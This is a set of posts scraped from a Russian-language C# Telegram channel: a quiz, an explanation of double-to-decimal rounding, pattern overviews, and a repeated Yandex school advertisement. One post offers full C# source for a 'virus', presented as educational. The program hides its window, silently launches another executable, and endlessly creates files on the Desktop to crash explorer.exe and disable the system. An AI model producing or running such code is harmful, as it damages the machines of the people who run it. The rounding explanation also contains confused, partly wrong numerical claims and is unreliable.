Что выведет на экран это код
Anonymous Quiz
17%
Возникнет ошибка компиляции
7%
Возникнет необработанная ошибка времени выполнения
13%
? или Infinity
64%
Division By Zero
Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
Что именно рассматривается в видео?
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки.
Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных.
А вот некоторые мысли из статьи:
Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
double
(с заданной целой частью) при его преобразовании в decimal
происходит округление. Однако преобразование в long
дает правильный результат.double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649
Почему так происходит? Можно ли как то преобразовать без округления?
1725040000979649
очень близко к максимальному значению мантиссы для типа double
179769313486232
, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм.41-45 округляется к 40, 46-49 округляется к 50.
Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до
99 999 999 999 999
), поэтому 15-ый рязряд округляется.Преобразовать без округления можно только так:
decimal result2 = (long)d;
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
В этом году ШАД Яндекса увеличивает набор студентов на треть
Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77% устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие.
Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь.
@csharp_ci
Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77% устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие.
Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь.
@csharp_ci
Всё в этом посте описано исключительно в образовательных целях
Любой программист должен написать свой маленький вирус.
В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500
explorer.exe
(проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера). Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола.
Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
// Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{
// Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;
// Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Объект дня — делегаты
Давайте вспомним и освежим основную инфу
— адрес метода, на котором он вызывается
— аргументы (если есть) этого метода
— возвращаемое значение (если есть) этого метода
Делегат — это по сути очередь в которую можно добавить сколько угодно методов. При выполнении
train += Wagon2;
мы добавляем 2й вагон в очередь. Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции.
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Как видно из бенчмарков, это сейчас вообще самый быстрый сервер структур данных на всём диком западе:
Практически полностью совместим с Redis на уровне API, но при этом:
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
О паттерне «Спецификация», который позволяет улучшить структуру приложения, и, следовательно, увеличить гибкость, уменьшив при этом объем кода, а значит - сократить количество ошибок, но это не точно.
@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM